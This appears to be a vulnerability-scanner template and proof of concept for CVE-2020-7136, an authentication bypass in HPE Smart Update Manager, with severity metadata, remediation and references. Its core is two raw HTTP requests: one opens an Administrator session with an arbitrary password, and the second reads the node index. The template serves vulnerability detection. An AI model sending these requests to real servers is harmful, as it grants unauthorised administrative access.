CVE-2020-7136: HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access

2025-08-01 HPE Smart Update Manager PoC Public

Description

HPE Smart Update Manager (SUM) prior to version 8.5.6 could allow remote unauthorized access.

PoC

id: CVE-2020-7136

info:
  name: HPE Smart Update Manager < 8.5.6 - Remote Unauthorized Access
  author: gy741
  severity: critical
  description: HPE Smart Update Manager (SUM) prior to version 8.5.6 could allow remote unauthorized access.
  impact: |
    An attacker can gain unauthorized access to the HPE Smart Update Manager, potentially leading to further compromise of the system.
  remediation: Hewlett Packard Enterprise has provided a software update to resolve this vulnerability in HPE Smart Update Manager (SUM) prior to 8.5.6. Please visit the HPE Support Center at https://support.hpe.com/hpesc/public/home to download the latest version of HPE Smart Update Manager (SUM). Download the latest version of HPE Smart Update Manager (SUM) or download the latest Service Pack For ProLiant (SPP).
  reference:
    - https://www.tenable.com/security/research/tra-2020-02
    - https://support.hpe.com/hpesc/public/docDisplay?docLocale=en_US&docId=emr_na-hpesbmu03997en_us
    - https://nvd.nist.gov/vuln/detail/CVE-2020-7136
    - https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbmu03997en_us
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-7136
    cwe-id: CWE-288
    epss-score: 0.79522
    epss-percentile: 0.99582
    cpe: cpe:2.3:a:hpe:smart_update_manager:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: hpe
    product: smart_update_manager
  tags: cve,cve2020,hp,auth-bypass,hpe,tenable,vkev,vuln

http:
  - raw:
      - |
        POST /session/create HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"hapi":{"username":"Administrator","password":"any_password","language":"en","mode":"gui", "usesshkey":true, "privatekey":"any_privateky", "passphrase":"any_passphase","settings":{"output_filter":"passed","port_number":"444"}}}
      - |
        GET /session/{{sessionid}}/node/index HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "hmessage"
          - "Command completed successfully."
          - "node_name"
        condition: and

    extractors:
      - type: regex
        name: sessionid
        group: 1
        regex:
          - '"sessionId":"([a-z0-9.]+)"'
        internal: true
        part: body
# digest: 4a0a00473045022100aa04410ba4dc1b3423da0608dfc3dc48988d91cb22f7132028a599aa5b10e95b0220562c861fc41f771eba05c0ae78119567b28a629d4d6bd7928c5428b0981a0639:922c64590222798bb761d5b6d8e72950

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